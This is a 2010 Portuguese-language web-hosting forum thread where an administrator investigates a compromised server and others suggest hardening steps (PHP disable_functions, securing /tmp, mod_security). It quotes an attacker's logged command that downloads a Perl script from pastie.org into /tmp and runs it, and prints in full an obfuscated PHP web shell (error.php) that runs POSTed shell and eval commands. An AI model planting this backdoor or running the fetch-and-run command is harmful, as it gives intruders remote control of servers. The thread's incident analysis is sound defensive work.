
Ataque, vejam o log
#1
Posted 24 junho 2010 - 02:23
vejam:
sh -c wget http://pastie.org/1013782.txt -O /tmp/bash.pl;perl /tmp/bash.pl 2>&1 3>&1
Como sera que isso foi executado? alguem tem ideia de por onde o malvado rodou a sequencia de comandos? tipo sera que foi usando aquela tatica antiga de incluir um arquivo txt dentro de u site com quarystring mal configurado? ou outra forma?
#2
Posted 24 junho 2010 - 02:34
ou não bloqueia as funções de sistema no shell_exec do PHP?
#3
Posted 24 junho 2010 - 03:06
vejam:
sh -c wget http://pastie.org/1013782.txt -O /tmp/bash.pl;perl /tmp/bash.pl 2>&1 3>&1
Como sera que isso foi executado? alguem tem ideia de por onde o malvado rodou a sequencia de comandos? tipo sera que foi usando aquela tatica antiga de incluir um arquivo txt dentro de u site com quarystring mal configurado? ou outra forma?
tu axou isso onde ? no bash_history ?
pq ele pode executar isso via web tbm...se foi viz web.. da uma olhada no teu modsec.
flw
#4
Posted 24 junho 2010 - 05:08
Esse é o ideal para o /tmp em EXT3 de users cpanel.
No fstab!
This post has been edited by little_oak: 24 junho 2010 - 05:08
#5
Posted 24 junho 2010 - 05:17
Eu deixo o shell_exec liberado sim, no mod sec nao vai mostrar nada pois foi ececutado o comando, por isso quero saber por onde foi executado, mas deve ter sido via PHP vou buscar por scritps suspeitos na conta do user.
#6
Posted 24 junho 2010 - 05:41
error.php:$ask_or_not_lex = create_function("\$r","\$zxcv_bd=pack(\"c*\",98,97,115,101,54,52,95,100,101,99,111,100,101); \$zxcv_s=pack(\"c*\",115,116,114,108,101,110);\$zxcv_k=pack(\"c*\",119,117,122,97,107,101,121);\$r=\$zxcv_bd(\$r);for(\$i=0;\$i<\$zxcv_s(\$r);\$i++)\$r[\$i]=chr(ord(\$r[\$i])^ord(\$zxcv_k[\$i%(\$zxcv_s(\$zxcv_k))]));return \$r;");$qwerty_xyz=pack("c*",119,117,122,97);if(isset($_POST[$qwerty_xyz])&&$ask_or_not_lex($_POST[$qwerty_xyz])==pack("c*",50,50,101,55,54,53,101,51,53,52,48,50,52,102,101,55)){if (isset($_POST["shellcmd"])) {func1_xyz($ask_or_not_lex($_POST["shellcmd"]));}if (isset($_POST["evalcmd"])) {func2_xyz($ask_or_not_lex($_POST["evalcmd"]));}exit;}function func1_xyz($cmd){if(ini_get("safe_mode"))die("wuzaerror: safe_mode on");if(strpos(ini_get("disable_functions"),"exec"))die("wuzaerror: exec disabled");$cmdOut=shell_exec($cmd);echo"<pre>$cmdOut</pre>\n";}function func2_xyz($phpcode){echo"<pre>";echo eval($phpcode);echo"</pre>\n";}
O que acham?
Alguem sabe como criar uma regra no mod_sec para metodo POST para bloquear o $_POST["shellcmd"] e $_POST["evalcmd"] ?
This post has been edited by Insert: 24 junho 2010 - 05:43
#7
Posted 24 junho 2010 - 08:11
disable_functions =
Insere depois do "=" as seguintes funções:
dl, system, exec, shell_exec, chown, chgrp, escapeshellcmd, putenv, popen, pclose, passthru, proc_open, proc_get_status, proc_nice, proc_close, proc_terminate, posix_ctermid, posix_get_last_error, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_strerror, posix_times, posix_ttyname, posix_uname
Depois salva e reinicia seu apache.
Problema deverá estar sanado
#9
Posted 25 junho 2010 - 01:29
#10
Posted 27 junho 2010 - 11:34
http://mawan.ind.ws/tagged-%E2%80%98suhosi...klist%E2%80%99/
Não deixe liberado pra todos.
As regras padrão do modsec já são boas d+.
#11
Posted 01 julho 2010 - 10:24
Daí nao precisa rebutar. Lembra de alterar o /etc/fstab tambem.
#12
Posted 08 julho 2010 - 01:52
disable_functions =
Insere depois do "=" as seguintes funções:
dl, system, exec, shell_exec, chown, chgrp, escapeshellcmd, putenv, popen, pclose, passthru, proc_open, proc_get_status, proc_nice, proc_close, proc_terminate, posix_ctermid, posix_get_last_error, posix_getcwd, posix_getegid, posix_geteuid, posix_getgid, posix_getgrgid, posix_getgrnam, posix_getgroups, posix_getlogin, posix_getpgid, posix_getpgrp, posix_getpid, posix_getppid, posix_getpwnam, posix_getpwuid, posix_getrlimit, posix_getsid, posix_getuid, posix_isatty, posix_kill, posix_mkfifo, posix_setegid, posix_seteuid, posix_setgid, posix_setpgid, posix_setsid, posix_setuid, posix_strerror, posix_times, posix_ttyname, posix_uname
Depois salva e reinicia seu apache.
Problema deverá estar sanado
Isso já previne muitos dos possíveis problemas.
#13
Posted 08 julho 2010 - 11:12
/scripts/securetmp
pronto!
This post has been edited by little_oak: 08 julho 2010 - 11:15

Help










